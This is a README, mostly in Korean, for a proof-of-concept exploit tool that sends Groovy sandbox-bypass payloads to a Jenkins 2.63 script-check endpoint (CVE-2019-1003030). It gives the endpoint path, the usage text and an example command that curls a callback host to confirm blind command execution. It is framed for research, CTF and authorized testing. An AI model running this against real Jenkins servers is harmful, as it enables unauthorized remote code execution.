
Jenkins 2.63 CVE-2019-1003030용 PoC
이 프로젝트는 Jenkins 2.63에서 사용하는 Jenkins SecureGroovyScript 검증 엔드포인트로 Groovy 페이로드의 생성 및 전달을 자동화합니다. 이 도구는 대화형(interactive) 실행과 일회성(one-shot) 실행을 모두 지원합니다. 익스플로잇은 출력을 반환하지 않으므로, 제대로 작동하는지 확인하려면 AP를 curl 하는 등의 검증을 직접 수행해야 합니다.
이 도구는 다음을 모두 지원합니다:
면책 조항
이 프로젝트는 보안 연구, CTF, 실습 환경 및 승인된 침투 테스트 전용으로 제작되었습니다. 명시적인 허가 없이 시스템에 사용하지 마십시오.
usage: Poc.py -u http://10.10.10.10:8080/ [-c 'curl http://10.10.10.9/callback'] [-X POST] [-p /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript]
PoC for sandbox bypass for jenkins 2.63
options:
-h, --help show this help message and exit
-u, --url URL ip of target
-X, --method METHOD post or get
-b, --breadcrum BREADCRUM
optional jenkins crumb string
-c, --command COMMAND
command to run on jenkins, not output expected
-p, --path PATH path to the script, you might prepend more
-c 옵션을 생략하면 대화형 프롬프트가 실행됩니다. 아래 예시와 같이 안타깝게도 출력이 없으므로 404가 발생하지 않는 한 정상 작동하는 것입니다.
